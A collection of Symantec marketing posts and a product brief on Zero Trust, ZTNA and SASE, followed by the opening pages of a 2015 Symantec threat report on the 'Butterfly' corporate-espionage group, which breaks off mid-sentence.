The secret sauce as to why the third tenet of Zero Trust is so effective is it's imperative to take action first. Unlike the traditional enterprise security model, Zero Trust is not based on validating user activity first and then reducing the risk based on that real time validation. Zero Trust turns that model on its head. It calls upon enterprises to reduce the risk first by putting in place the automated artificial intelligence (AI) and machine learning (ML) systems that will record user and device activity, and then reduce risk by assigning the risk parameters through data policies around the information access of users and their devices.
By putting the focus on corporate data, Zero Trust ensures that when an enterprise needs to respond to a breach, it has the data context it needs to understand the breach, it’s scope and take an action as quickly as possible. And by assuming there is always a breach, the third tenet of zero trust also ensures there is always a balance between the productivity of the enterprise, its people, and its security.
SASE and Zero Trust
In closing, it is worth noting that one of the advantages of the new Secure Access Service Edge (SASE) security model introduced in 2019 is how it so neatly aligns with Zero Trust and, in particular, the assume breach tenet of Zero Trust.
SASE implementations such as Symantec, allow enterprises to adjust access to data in real time based on user and device context and risk. The result helps protect enterprises from what they don’t know, enhancing their security while still allowing user productivity.
|
Zero Trust eXtended Ecosystem Wave – What it Means for the Industry
In the current threat environment, here’s why a platform with a breadth of integrated capabilities is key
Forrester Research published its first-ever Zero Trust eXtended (ZTX) ecosystem Wave report in early November, producing the most in-depth look to date on the Zero Trust market.
For those unfamiliar with the term, Zero Trust was originally introduced by Forrester nearly a decade ago, challenging the assumptions underpinning security strategies embraced by many enterprises based on determining who to trust, and not trust, when allowing access to corporate computing resources.
Since then, Zero Trust has grown in its scope and definition, moving beyond a concept to become a practical framework capable of guiding security practitioners as they design and deploy their security architectures to address modern computing approaches and the current threat environment.
In standard Forrester Wave fashion, the report compared key vendors identified by Forrester as meaningful players in the ZTX market across three areas:
Current Offering – examining how a vendor’s offering satisfied criteria across all seven ZTX ecosystem pillars: data security, network security, workload security, workforce/people security, device security, visibility and analytics, automation and orchestration. API usage and manageability were also explored.
Strategy – looking at vendors’ solution visions and go-to-market approaches and how they aligned with ZTX concepts and methods.
Market Presence – indicating a vendor’s relative install base footprint in the ZTX market
In a similar fashion to 14 other vendors, our team at Symantec responded to Forrester’s research requests via survey responses, customer references, and platform demonstrations. We were excited to learn we were named as one of only two vendors in the Leadership area of the Wave, receiving the highest scores for the strength of our current offering as well as the size of our market presence.
Beyond the great news about Symantec’s Leadership placement in the report, we are especially excited about the publication of this Wave because it is the first detailed report of its kind evaluating the platforms of leading vendors and highlighting their relative strengths.
Folks in the security industry know that the term “platform” is all the rage these days. Everyone seems to have one. They promise breadth of capabilities and the simplicity of pre-integrated components.
What goes into Symantec’s Integrated Cyber Defense?
As enterprises realize the need to deploy additional impactful tools such as Web Isolation to prevent new classes of threats, they also face the industry-wide shortage of the security talent needed to operate them. The idea of a comprehensive platform with a breadth of integrated capabilities is extremely appealing in this environment. Extra points get awarded to a platform that covers security needs both on-premises as well as the cloud. Speaking of cloud, both cloud workloads in AWS and Azure as well as public cloud apps like Box, ServiceNow and Salesforce need to be covered.
Forrester’s ZTX Wave is the first unbiased analysis of commercially available security platforms by a qualified 3rd-party analyst firm. As such, this report will play a vital role in helping Security and Compliance professionals cut through vendor-specific claims and marketing hyperbole. It will provide them with foundational data that gives them a head-start as they begin the process of evaluating which platform partner they will strategically align with to architect their Zero Trust defenses. This is why this first of its kind report is so important to the industry and why its value cannot be understated.
I was part of the team at Symantec that provided our response to Forrester for this Wave. While we worked hard to make sure that Forrester had a complete understanding of the breadth and depth of our capabilities, we had a bit of an unfair advantage given our starting point. Symantec’s guiding product and go-to-market approach is our Integrated Cyber Defense (ICD) platform.
Our ICD platform and strategy are, in my estimation, a really close first-cousin of a Zero Trust platform, so it was not a difficult exercise at all to align it directly with Zero Trust. What is Symantec’s Integrated Cyber Defense? It is a platform that unifies cloud and on-premises security to provide threat protection, information protection and compliance across all endpoints, networks, email, and cloud applications. The platform is powered by the largest civilian threat intelligence network, deep security research and operations expertise, and a broad technology ecosystem of certified partners – working together to enhance security controls, improve visibility, and reduce cost and complexity for our enterprise customers.
After you take a read through the Forrester Wave, I think you will seem the immediate connection between Symantec’s ICD, which was the platform that was evaluated in the report, and the Zero Trust model. For additional detail on how the Symantec portfolio maps to the Zero Trust framework, check out Symantec's Zero Trust Topic Page. I hope these reports and additional information helps you and your team embark on your Zero Trust journey!
Read More About Symantec's Integrated Cyber Defense Platform
|
Symantec Zero Trust Network Access
Anytime, Anywhere, Any Device Access to Cloud-Hosted or On-Premises Applications
The Need for Zero-Trust Secure Access for Cloud and
On-Premises Applications
Providing access to corporate applications and services for authorized
users was straightforward when everything was located in large corporate
data centers and users all resided in predictable locations, using corporateissued devices. Inside the network perimeter, users had full visibility to see
applications and services. Outside the perimeter firewall, they used tools
such as VPNs to get access to the corporate network and then to the
applications required to do their work.
The Cloud Generation has forever changed the way employees access
information, and IT has had to keep pace. Moving applications to the cloud,
without sacrificing user mobility and anywhere-access is paramount. This
transformation has created significant complexities and has exposed
security vulnerabilities that exist in traditional VPN access methods. These
challenges include the following vulnerabilities:
• Wide network surface attacks: Vulnerability scans and other techniques
expose the entire network and map available applications. Traditional
solutions frequently lack just-in-time privileged access, granting full
access to unneeded resources.
• Lateral movement: Creating direct connectivity with the mesh of services
and clients significantly increases the chance for lateral movement.
• Lack of visibility: Activities performed by users connecting to
applications make end-to-end tracing extremely difficult.
• Complex maintenance and scalability challenges: Deploying multiple
gateways to support all possible traffic backhaul options require DMZ
and firewall setup, which is expensive and complicated.
• Poor user experience: The inability to support third-party contractors
with their own devices hinders productivity. Backhauling traffic leads to
higher latency, inconvenience, and a poor user experience.
Today’s dynamic business environment, sophisticated threats, and cyber
attacks present unique challenges that require a new mindset, one that
moves past a dated, perimeter-based approach that exposes corporate
networks and applications and is not built for the cloud era.
Symantec Zero Trust Network Access
Symantec Zero Trust Network Access (ZTNA) is a cloud-delivered service
providing highly secure, granular access management for enterprise
applications deployed in IaaS clouds and on-premises data center
environments. Symantec ZTNA eliminates inbound connections to
your network, creates a software-defined perimeter between users and
corporate applications, and establishes policy-based application-level
access. This service ensures that all corporate applications and services are
completely cloaked and invisible to attackers, addressing the whole set of
challenges where traditional solutions struggle.
Compared to the legacy perimeter-based solutions, Symantec ZTNA
provides the following functionality:
• Delivers the must-have component of SASE for security access to
applications, as outlined by industry analysts.
• Eliminates network surface attacks by cloaking the applications from
unauthorized users and preventing lateral movement of authorized users
beyond their approved application.
• Integrates with any existing identity provider, ZTNA continuously reauthorizes the user’s access and activity in real-time within a contextbased least privilege approach, validating each and every request across
a wide set of security parameters.
• Provides full data governance and monitoring control to enforce allowed
activity policies and in-line data inspection for compliance and malware
threat protection.
• Shifts the security paradigm to fully address modern security challenges.
Symantec ZTNA provides a best-in-class user experience by taking the
application traffic from an end user directly to the application as quickly as
possible, no matter their location. Symantec ZTNA provides the following
benefits:
• Being a born as a cloud service, it optimizes the application access
route, avoiding unessential delays caused by network traffic backhaul
architectures.
• Symantec ZTNA leverages the Google Cloud infrastructure, bypassing
congested public Internet routes for an improved user experience when
accessing the organization’s applications.
• Agentless application access grants users the flexibility to access
applications from any device.
• Seamless access, without a gateway, to any application (IaaS, PaaS, web,
or internal).
In contrast to the traditional perimeter-based solutions, maintenance and
scalability challenges disappear for Symantec ZTNA. The need for the
complex deployment and maintenance of dedicated security gateways is
eliminated.
Rapid Onboarding
Symantec ZTNA reduces complexity through a simple, agentless deployment, without needing changes to existing
security configurations. It easily integrates with existing identity and access management solutions. Authorized
users can connect from anywhere in the world, using any device. The connection allows them to securely access
any hosted application on distributed data centers, either in a private or public cloud; or on-premises data centers.
How It Works
When an authenticated user requests remote access to a corporate resource, Symantec ZTNA creates and
continuously monitors a temporary secure connection between the user and the requested resource. A bidirectional HTTPS connection is established at the application layer and eliminates the need to allow users onto
the entire corporate network. The connection is transient and automatically terminates once the user completes
their task. With Symantec ZTNA, users gain access only to the specific applications and resources for which they
are authorized. The solution takes the zero-trust access approach further by providing full visibility, governance,
and contextual enforcement for user actions, monitoring and logging every operation for simplified auditing and
reporting.
Use Cases
Securing Access to Corporate Applications Migrating to the Cloud
As enterprises migrate applications to the cloud, IT teams must provide users with secure and frictionless access to
the resources they need to remain productive. The solution must eliminate the complex setup and maintenance of
tools that were not designed to address the security and compliance challenges of a perimeter-less world.
Symantec ZTNA provides fast, agentless, secure access to corporate applications and resources, whether located
in the cloud or on-premises data centers. Granular policies define access controls based on user identity, device
posture, the sensitivity of the application, and the operations the user performs. Users are never granted broad
network-level access, and they are provided instead with narrow connections to specific applications based on the
trust profile of the user.
Securing Access for Personal Devices and Third Parties
User mobility and BYOD have become the new norm. Employees need to be able to access corporate applications
easily and quickly, regardless of their location or the device used. The current dynamic business ecosystem often
requires providing third parties, such as partners or suppliers, with access to corporate resources or systems,
without exposing the organization to attack. Symantec ZTNA provides authenticated, zero-trust access to
corporate resources without giving any network access. Remote users and partner employees can access specific
applications based on their identity and device posture, and security professionals can take real-time actions to
block undesired and suspicious activity.
Driving Productivity After a Merger or Acquisition
Merging IT operations after an event such as a merger or acquisition is a complex and risky process, as it involves
merging two or more different security architectures and potentially exposing sensitive data to new threats.
Users often suffer from poor or no connectivity to needed resources, slow performance, and cumbersome steps
just to reach an application. Symantec ZTNA is designed to allow secure, seamless, and instant access to internal
resources following a merger and acquisition closing. A simple setup is all that is required to securely expose the
applications to the new organization’s users for immediate access and productivity, without the need of deploying
and managing a VPN.
Securing Access for DevOps Environments
DevOps teams require access to both production and development environments. Securing these environments
from unwanted parties and unauthorized users is crucial to keeping your organization running safely. Symantec
ZTNA automatically provisions or removes access to your VMs, PaaS workloads, and applications in seconds, using
a cloud-native, API-driven agentless solution. It ensures access to DevOps environments is authenticated, provided
just in time, based on the principle of least privilege, and fully audited and recorded.
Organization Compliance
A cornerstone of an effective SASE framework is data protection that follows established governance policies that
have been developed over years. Enforcing the compliance rules for many applications sitting in different cloud
data centers can be complex. As organizations shift applications to the cloud, securing data with a SASE vendor
with Cloud Data Loss Prevention (DLP) expertise (such as Broadcom), security teams can enforce the DLP rules in
the cloud as part of the ZTNA inline data path.
Benefits of Symantec ZTNA
Easy Licensing
Symantec Network Protection includes simple, per-user licensing that includes Symantec ZTNA, along with other
critical SASE components, including cloud secure web gateway (SWG), TLS/SSL decryption, cloud firewall, deep
content inspection, and more.
DLP Integration
Symantec ZTNA integrates with Symantec Data Loss Prevention, enabling organizations to enforce data
governance policies.
Agentless Access for BYOD
Support personal devices from roaming users, third-party partners, or consultants to ensure secure access to
corporate resources and applications.
Support for DevOps Access DevOps
environments, such as VMs, PaaS workloads, and applications, is provided or terminated in
seconds based on least privilege.
Symantec Threat Intelligence Service
Symantec delivers the largest civilian threat intelligence network and allows advanced threat inspection of all
traffic over the secure ZTNA solution.
Single Agent for Managed Devices
Symantec customers can use the Symantec Endpoint or Cloud Secure Web Gateway client for rapid ZTNA
onboarding to allow users secure access to corporate resources, with minimal operational effort.
Cloud-Native Solution
Built natively in the cloud, Symantec ZTNA leverages the power of Google Cloud for ultimate performance and
scalability, regardless of the organization’s size.
Product Brief
Symantec Zero Trust Network Access
AT A GLANCE
Access (ZTNA) is a critical component of a complete SASE solution.
ZERO-TRUST ARCHITECTURE ELIMINATES APPLICATION EXPOSURE
• Least privilege access reduces the attack surface
• Application-level connectivity between authenticated users and applications
• No inbound connections to the network cloak applications from attackers
ANY DEVICE, ANY LOCATION, ANY CLOUD
• Agentless access for all types of applications (web, SSH, RDP, TCP)
from any device, in any location, in any cloud
• Single-agent application access
option alongside the Symantec EPP,
EDR, Cloud SWG, CASB, DLP, and ZTNA security stack
• Seamless, native, and best-in-class user experience without a VPN
EFFORTLESS ADMINISTRATION
• Rapid onboarding with Zero Touch Provisioning
• Manage access to any hosted
application in any cloud and onpremises data centers
• Full audit trail of users’ activities within an application
DATA GOVERNANCE AND PROTECTION
• Fine-grained policies based on
identity, location, device state,
action, resource accessed, and data compliance level
• Symantec Advanced Threat Protection and Content Analysis for deep inspection
• Data compliance with Symantec Data Loss Prevention Cloud inspection
|
Zero Trust Network Access: A cornerstone for Data-Centric SASE
Symantec Secure Access Cloud helps ensure your SASE journey is guided by Zero Trust principles
The Revolution in Network Security is Here
At Symantec, as a division of Broadcom, we see and hear from our customers that it is a revolution that is completely turning the current network perimeter focused security model inside-out. As opposed to the traditional, network-centric IT architecture, it envisions a new, application-centric architecture. According to a PwC survey, “83% of employers now say the shift to remote work has been successful for their company.” But with this new security paradigm there is now more data from users, the cloud, digital devices, and edge architectures outside the enterprise data center than within. It is a revolution based on the philosophy of Zero Trust and its principles of least privilege and implicit trust of no one or nothing.
This new vision was converted into the architecture which was suggested by Gartner and is called Secure Access Service Edge (SASE), and more specifically, Data-Centric, hybrid SASE. That is, SASE that enforces least-privilege access, data governance and strong data security, regardless of by leveraging Zero Trust model. It offers a new and comprehensive architecture for reimagining and reinventing network security.
Zero Trust Network Access
Adopting Zero Trust Network Access (ZTNA) is the newest phase of this on-going revolution in network security. It is one of the critical components of the SASE architecture along with Data Loss Prevention (DLP), Secure Web Gateway (SWG) and Cloud Access Security Broker (CASB).
ZTNA directly addresses the reality that the new boundary of network security is a borderless, software-defined perimeter (SDP) that embraces and extends around every digital device and user, application and service - running across the network from on-premises to cloud to edge.
Adopting Zero Trust Network Access (ZTNA) is the newest phase of this on-going revolution in network security.
ZTNA solutions, such as Symantec Secure Access Cloud, provide an alternative security model that removes the need to backhaul traffic between remote users and the core network’s data center. Compared to the network based solutions, it provides a greater level of security through cloaking the organization’s workloads from the internet as well as continued authorization of the user’s access to specific applications.
This expanded capability allows ZTNA to provide continuous access and governance for users to the applications they need to use on the device of their choice. While at the same time preventing lateral movement inside the data center to applications and data to which the users are not verified.
Cornerstone for Data-Centric, Hybrid-Capable SASE
ZTNA offers a new network security model that reflects the reality of the modern enterprise network and its migration to the cloud. As a solution designed for a software-defined and cloud-based networking universe, ZTNA offers far more security and onboarding & maintenance simplicity for the modern enterprise than most legacy-based network products.
The advantages of ZTNA versus legacy-based network products include:
Lower operational costs with easy maintenance and onboarding
Granular access and governance for BYOD
Streamlined user experience (no agent needed)
Higher security
Better performance
Most important, however, is the fact that ZTNA is not a stand-alone product in the traditional sense. But rather, ZTNA should be considered as a cornerstone for building the enterprise Data-Centric, Hybrid SASE architecture.
Stronger Data Protection for Unmanaged Devices
Among the many benefits of Symantec ZTNA solutions - Symantec Secure Access Cloud, is that it removes the limitations on deployment modes for those organizations which use agent-based deployments to enforce security.
Agent-based deployments negatively impact the user experience (UX) and enterprise security when users switch their devices while working remotely as well as change their roles or assume new positions.
A good example, is how agent-based deployments affect the security for unmanaged devices. With much of the enterprise working from home (WFH), the requirements for a secure workforce have changed. According to the survey mentioned earlier, more than 60 percent of enterprises are planning to consolidate and significantly reduce their current office spaces. It’s easy to see why as the same survey reveals that more than 80 percent report that the shift to remote work has been successful for their companies.
The number of people using unmanaged devices to WFH severely challenges agent-based security administration. Deploying and upgrading agents in response to every new device is both time-consuming and creating strains on IT security budgets. For users, the situation is just as bad. Until their agent-based solution is upgraded, they are prevented from working the way they prefer or normally would do as they are prevented from accessing sensitive data on their unmanaged devices or experience “overblocking.” (Overblocking crops up when access security solutions have a default filter mode which deny legitimate access to the network because the blocking is too broad and inflexible to discriminate more precisely.)
Secure Access Cloud users have the same ease of use and experience on their unmanaged devices as they enjoy on their managed devices.
Secure Access Cloud, when integrated with an enterprise DLP solution completely changes this scenario. It allows access to corporate assets from unmanaged devices but also specific downloads or uploads of sensitive private information, leveraging the existing DLP policies. For example, the user might be able to download some “non sensitive” data using his unmanaged devices, while being restricted to online editing on a different file. This file may include personally identifiable information (PII), protected health information (PHI) or any type of sensitive data as classified by DLP. Secure Access Cloud users have the same ease of use and experience on their unmanaged devices as they enjoy on their managed devices.
The IT security team also has far more granular visibility into user requests for access. They can set policies that provide greater security by implementing a data-centric least-privileged model, while allowing or preventing explicit actions or access to specific URIs within the applications themselves, without having to resort to over-blocking the access or restricting user access to their unmanaged devices.
This single-pass solution delivers the same native UX for all remote access scenarios, without compromising data security and supporting a customer’s digital transformation. This puts Symantec Secure Access Cloud at the forefront of ZTNA solutions and a key capability for data-centric SASE.
Symantec SASE
|
Zero Trust: Risk and Visibility
Building Confidence to Reduce Exposure
As many of the organizations we work with navigate adopting Zero Trust we have heard that understanding their baseline risks is no easy task. Security teams are accepting that the business will do as it pleases when it comes to finding applications to support their key processes, rather than delegating their requirements to the Information Technology and Information Security teams to make those decisions for them as it used to be. Analysts expect by 2024 that 80% of technology products and services will be built and owned by non-IT professionals. For that reason managing risk means having comprehensive visibility so security teams can inspect, monitor, and protect critical resources.
The proliferation of Cloud IaaS, SaaS, and data sharing applications used by businesses was once manageable when most users were operating in a traditional office environment - on the corporate network and on a corporate managed device. By using traditional tools like Data Loss Prevention, SSL Visibility, and Proxy, IT Security teams had sufficient visibility, for example, an end user may be using an ‘unsanctioned’ cloud service and security admins can respond by blocking that activity.
So, start with visibility. How can you improve visibility in your organization?
It's important to have a full picture of what’s being used in your cloud environment? One of the biggest visibility gaps is in the use of shadow IT, accounting for as much as 97% of all cloud applications in use by organizations. We know risky transactions can slip “under the radar”, and through our Cloud Data Loss Prevention solution we provide the capability to collect, view, and control all transactions from sanctioned or unsanctioned applications. Extend this visibility into Endpoint Security, Proxy and Firewall logs from network devices and proxies to further evaluate shadow IT exposure.
One of the biggest visibility gaps is in the use of shadow IT, accounting for as much as 97% of all cloud applications in use by organizations.
This visibility enables advanced capabilities like continuous risk monitoring and adaptive access controls. Continually assessing user risk in your organization is key and provides security teams with the confidence they need to make real time user access decisions. With Symantec CASB, we can apply risk scores to users and if they go beyond an acceptable threshold, adaptive access controls are in place to reduce someone’s access privileges, reduce privileges for sharing data, and prevent data from being shared with external entities.
With tools like these, business management can begin to quantify the level of risk they currently face and from there they can define their actual tolerance level. Zero Trust is first and foremost an architecture that is built around people, process, and technology - so IT Security teams must partner with the business to mutually decide what actions and controls should be implemented to reduce their risk to the acceptable level. Having a joint program defined then creates opportunities to implement advanced Zero Trust capabilities like continuous monitoring, adaptive access controls, and behavioral analytics - as each can’t be done without an understanding of people and processes.
Accepting that business leaders will adopt applications and services of their choosing, security teams should turn away from trying to stop them and move toward managing risk. Using Zero Trust as a backbone, teams should first look to key technologies that will help them gain the visibility they need so they can collaborate with those same leaders to mutually make the right decisions for how they will manage that risk on an ongoing basis, including implementing new technologies to protect and support the business.
|
Zero Trust: Three Domains Taking Center Stage
Lessons From Successful Zero Trust Implementations
I have heard from many organizations progressing in their Zero Trust journey and many are finding new challenges that they need to tackle to realize their desired outcome. These challenges start as they shift workloads to the cloud, leverage newer technologies like Open Source libraries, and hire new talent to support the efforts. While a Zero Trust architecture has been developed over the past 10 plus years, it will likely be some time before we see industry best practices to solve these challenges. Unsurprisingly, this is causing security teams to turn to new domains to help address these efforts. Here is what I’m hearing, as I advise some of our largest global customers:
First as companies are moving workloads into the cloud —and more often than not, multiple clouds—leveraging Cloud Native Application Protection Platforms (CNAPP) is a critical tool. Managing security configurations in the cloud is something that there are not enough experts to do, instead of leaning on hiring the right role and trusting there are no mistakes, the use of CNAPPs to scan and protect those workloads can provide assurance that applications being delivered from the cloud are secure.
Next we are seeing a pivot away from the legacy attitude of maintaining internal and proprietary software libraries - it’s expensive, cumbersome, and slows down DevOps teams. That obviously creates a lot of concern about the underlying software libraries that are being used - and rightly so, we already saw the massive impact that Apache’s Log4j vulnerability created last year - so managing the use of these libraries is critical. Developing internal process and policy with regards to the Software Bill of Materials (SBOM) is a critical function of maintaining a Zero Trust state.
Here at Broadcom, we aim to support our customers working to achieve a Zero Trust architecture in their environment with our Symantec Enterprise Cloud solution.
Hiring talent is one of the most common things I hear when I talk to customers about their Zero Trust journey—there simply are not enough qualified cybersecurity professionals out there. Hence automation is becoming one of the first requirements of security controls —and something organizations should ask of all their vendors—it’s the only way to scale going forward as the problems that need to be solved are not going to get smaller.
Zero Trust is a nebulous architecture and while it starts with identity management and data protection it demands organizations have visibility into their assets, planning on how they’ll be secured, and governance to ensure they’re able to stay in a Zero Trust state. That means thinking of technologies and processes that are not classic Zero Trust functions but are part of the bigger picture.
Here at Broadcom, we aim to support our customers working to achieve a Zero Trust architecture in their environment with our Symantec Enterprise Cloud solution, and because of our unique relationship with our customers, we can identify the best starting point for implementing Zero Trust—whether that’s with native capabilities delivered by our services or integrating with the larger security ecosystem.
|
ZTNA Plus DLP Equals a Strong Approach to Secure Access
Ensuring only the right people access the right data
The ability to provide secure access to employees, customers, partners and other third parties is essential for any business today. In this blog series, Symantec partner Braxton-Grant will look at why ZTNA is increasingly playing a critical role in providing that access and key factors to consider when selecting and implementing ZTNA solutions. Part 2.
When I talk to companies that are adopting data protection technology, the discussion often leads to a surprising finding. While companies know that they want safeguards for their data, they often haven’t developed a plan for what data to protect.
Consequently, they often default to a regulatory approach to data protection. They focus on Personal Identifiable Information (PII) like customers’ social security numbers. While PII is obviously essential for basic protection of the organization, the regulatory-by-default approach to data protection can create risk to information that is vital to the profit-and-loss of the company.
Take a cooking recipe. That might not be the first piece of essential information most companies would want to safeguard. But if you are a spice company, the recipe could be your key differentiator. And it’s the kind of critical information that can be overlooked in the regulatory-by-default approach. The same is true for a brokerage firm that gains its edge in the market with a custom algorithm that decides when to buy, sell, or short a stock.
As a Broadcom Knight certified on Symantec ZTNA, I spend a lot of time helping companies work through decisions about what data they need to protect, and how they should protect it. Zero Trust Network Access (ZTNA) solutions are a subset of Zero Trust that deals with identity and access management for users who are accessing an organization’s applications. Here are five key steps to effectively use ZTNA as you negotiate the data security needs in a fast-changing business landscape.
Ask the Right Questions: Many companies have not developed a synchronized information governance plan, a data impact assessment, or have performed a privacy impact assessment. These are essential steps to data protection. Broadcom can provide many resources to help you formulate a sound data protection strategy.
This strategy must address traditional security concerns like employees logging in from home or using personal devices. The explosion of generative AI has also brought new considerations. For example, do you have the full permissions for the data an AI algorithm is being trained on?
To ensure your data is protected, you must ask a lot of questions about how employees, customers, partners, and other third parties are using your information. What data is the user accessing? What protections do I need to put around it? When can that data move and when must it not move? What data should be protected more stringently in certain circumstances?
Take a Fresh Look At DLP: Many of these questions bring up fundamental aspects of Data Loss Protection (DLP), technology that keeps your confidential information safe from accidental exposure or malicious breach. DLP sometimes has been depicted as a legacy security technology that is only applicable within the safety of the corporate walls rather than in the new world of hybrid work. This perspective is as short-sighted as only looking at data protection through the regulatory lens. I consider DLP to be a persistent portion of protection. To appreciate why, you need to understand how DLP works in coordination with the emergence of ZTNA solutions.
Extend DLP Protection to ZTNA: Users expect the same level of data protection whether they access corporate resources from their office or on a laptop they borrowed from a friend. As a result, the expectation of DLP governance and DLP requirements goes beyond the traditional use of accessing corporate materials while sitting in the office. The on-premises policies you are already using with Symantec today can be applied in ZTNA. While some adjustments and new policies may be necessary, you won’t face the burden of rebuilding your entire DLP structure for ZTNA.
Protect Managed and Unmanaged Resources: ZTNA can make different policy decisions based on whether a user is on a personal device or a device owned by the corporation. A corporate or managed device might take a more permissive approach, since the organization can lock the device down or require it to have safeguards like endpoint security software. With a personal or unmanaged device, where the organization doesn’t have this stringent control, users might be allowed to look at certain pages but not download material.
Provide the Minimum Privilege: A safe environment provides the least amount of privileged access that people need to get their jobs done. For example, ZTNA can provide temporary access to a customer to a training environment, giving them the roles and applications they need.
Conclusion
The data landscape is ever more complex, and you need to look beyond the regulatory requirements to ensure your critical information remains safe. You need safeguards for traditional concerns, like remote users, as well as the newer challenges around generative AI. A sound data protection strategy must include the old and the new – both in the risks you address and in the technology that you use such as DLP and ZTNA – to ensure only the right people are accessing the right data.
|
ZTNA Plus Web and Endpoint Protection
Innovation at the Endpoint Achieves Multiple Goals
Symantec’s single security agent at the endpoint, eliminates agent sprawl, enables ZTNA capabilities and drives web protection.
Administrators wrestle with agent proliferation at the endpoint. It even has a name – agent sprawl. This sprawl creates higher costs for organizations of all sizes and industries. Yet, it persists.
The unrestrained growth of Endpoint security agents has created extreme fatigue. But, there’s no denying agents are effective and can solve multiple use cases, such as:
Remote and real-time monitoring of global assets and workers
Monitoring of cloud and other virtual infrastructure
Taking action without requiring credential release to central IT or credential swapping
But, the problem is: there are simply too many agents out there. Administrators wrestle with agent proliferation from multiple providers, knowing that sometimes they conflict with one another. And finally, companies incur high costs certifying, deploying and maintaining all of these agents, calling into question if they’re really worth it. There is even anecdotal evidence that some businesses have delayed adoption of revolutionary new security models like Secure Service Edge (SSE) because adopting this technology often requires certifying and adopting another agent.
Symantec has changed that. The Symantec Endpoint Protection (SEP) agent uses a new architecture which goes beyond endpoint protection capabilities by including traffic redirection to Symantec SSE components including Symantec Cloud Secure Web Gateway (formerly WSS), Symantec’s Zero Trust Network Access (ZTNA), CASB and more. With our approach, customers can adopt SSE using their existing SEP footprint that provides a secure, powerful, integrated SSE agent with lower overhead and quicker time-to-value.
With Symantec’s new single agent, the benefits of ZTNA are easy to harness, allowing organizations to quickly achieve VPN replacement, further reducing agent sprawl. Zero-touch provisioning is possible making deployment as easy as a policy change within the cloud management plane. In addition, the user experience is streamlined with single sign-on for access to all security services. Consequently, you can achieve ZTNA in your organization at your own pace and with fewer dependencies.
Similarly, the benefits are much the same for rolling out Cloud SWG. Our Symantec web security technology leverages our leading proxy architecture combined with our hyperscale global network to deliver complete web traffic inspection, deep file analysis and comprehensive security policy enforcement for both on premises and remote users.
With access to multiple security control points consisting of both endpoint and network elements in the cloud, the challenges associated with growing remote worker needs are easier to address. Detecting and responding to increasingly sophisticated and targeted cyber threats becomes more straightforward.
Beyond that, our single-agent approach:
Improves attack surface reduction
Enhances attack and breach prevention
Boosts Endpoint Detection and Response (EDR)
Accelerates Secure Access Service Edge (SASE) adoption
What’s more is that further SEP integrations are on their way. Symantec will enable additional security solutions in this advancement, including DLP and AppNeta, Symantec’s Digital Experience Monitoring solution. No full client reinstall and reboot is required, and there’s no confusion with multiple agents. Administrators will appreciate full policy control for the individual components that they manage.
Ultimately, the single agent approach brings lower cost and higher reliability. The Symantec agent is easy to deploy, update, and maintain. It runs on multi-year cycles rather than adhering to rip-and-replace rhythms.
Even better is that as SASE/SSE moves increasingly into the sights of many organizations, Symantec’s single agent innovation framework can now reduce the time it takes to get closer to this important and worthy goal.
Learn more about Symantec innovation here.
|
SECURITY RESPONSE
There are some indications that this group may be made up of
native English speakers, are familiar with Western culture, and
may operate from an Eastern Standard Time (EST) time zone.Butterfly: Corporate spies
out for financial gain
Symantec Security Response
Version 1.1 – July 9, 2015CONTENTS
OVERVIEW ..................................................................... 3
Background ................................................................... 6
The corporate espionage threat .............................. 6
Butterfly attacks against tech firms ....................... 6
Victims .......................................................................... 8
Industries ................................................................ 9
Targeted computers .............................................. 10
Tools, tactics, and procedures .................................... 10
Gaining initial access ............................................. 10
Spreading .............................................................. 11
The Butterfly toolkit .............................................. 11
Operational security .............................................. 12
Attribution ................................................................... 14
Conclusion ................................................................... 16
Protection .................................................................... 17
Appendix ..................................................................... 19
Technical description of Backdoor.Jiripbot ........... 19
File hashes ............................................................ 28Butterfly* is a group of highly capable, professional attackers who perform corporate
espionage with a laser-like focus on operational security. The team is a major threat to
organizations that have large volumes of proprietary intellectual property, all of which is
at risk of being stolen by this group for monetary gain.
The Butterfly attackers, who Symantec believes are a small number of technically capable
individuals, compromised several major technology companies including Twitter, Facebook,
Apple and Microsoft in early 2013. In these campaigns, the attackers used a Java zero-day
exploit to drop malware onto victims’ computers.
Since those attacks, there has been little-to-no public information about the Butterfly
attackers. Symantec has been working with victims to track these attackers over the past
two years. We found that Butterfly compromised multiple pharmaceutical companies,
technology firms, law practices, and oil and precious metal mining organizations during
this period. The attackers are versatile and spread their threats quickly within compromised
organizations. They may also have had access to at least one other zero-day exploit,
affecting Internet Explorer 10.
There are some indications that this group may be made up of native English speakers,
are familiar with Western culture, and may operate from an Eastern Standard Time (EST)
time zone.
OVERVIEWPrior to Butterfly, the majority of documented cyberespionage attacks has been conducted
against politically sensitive entities such as embassies, government ministries, central
banks, dissidents, militaries, and associated defense contractors. Government-sponsored
attackers have also attacked private sector organizations, presumably to steal intellectual
property in order to provide their local industry with an unfair advantage in the market.
Butterfly is a timely reminder to organizations that as well as defending against
state-sponsored attacks, organizations must be aware of the potential threat of corporate
espionage, where attacks are performed at the behest of competitors or by individuals
looking to monetize stolen information such as through stock trading using insider
knowledge. A key difference between attacks coming from competitors and state-
sponsored attackers is that competitors are likely in a better position to request the
theft of specific information of value and make more rapid use of this information than
government-sponsored attackers would.
Butterfly appears to be part of this class of attack group. The attackers appear to be
motivated by financial gain, either by using the information themselves for their own
benefit or selling it to a third party.
* “Morpho” was used in the original publication to refer to this attack group. Symantec has renamed
the group “Butterfly” to avoid any link whatsoever to other legitimate corporate entities named
“Morpho”.The attackers appear
to be motivated
by financial gain,
either by using
the information
themselves for their
own benefit or selling
it to a third party.
BACKGROUNDPage 6
Butterfly: Corporate spies out for financial gain
Background
The corporate espionage threat
Prior to Butterfly, the majority of documented cyberespionage attacks has been conducted against politically
sensitive entities such as embassies, government ministries, central banks, dissidents, militaries, and associated
defense contractors. Government-sponsored attackers have also attacked private sector organizations,
presumably to steal intellectual property in order to provide their local industry with an unfair advantage in the
market.
Butterfly is a timely reminder to organizations that as well as defending against state-sponsored attacks,
organizations must be aware of the potential threat of corporate espionage, where attacks are performed at the
behest of competitors or by individuals looking to monetize stolen information such as through stock trading
using insider knowledge. A key difference between attacks coming from competitors and state-sponsored
attackers is that competitors are likely in a better position to request the theft of specific information of value
and make more rapid use of this information than government-sponsored attackers would.
Butterfly appears to be part of this class of attack group. The attackers appear to be motivated by financial gain,
either by using the information themselves for their own benefit or selling it to a third party.
Butterfly attacks against tech firms
On February 1, 2013, Twitter published a blog , stating that it had “discovered one live attack” and added that
it was “able to shut it down in process moments later.” Twitter encouraged users “to disable Java” in their
browsers. “The attackers were extremely sophisticated, and we believe other companies and organizations have
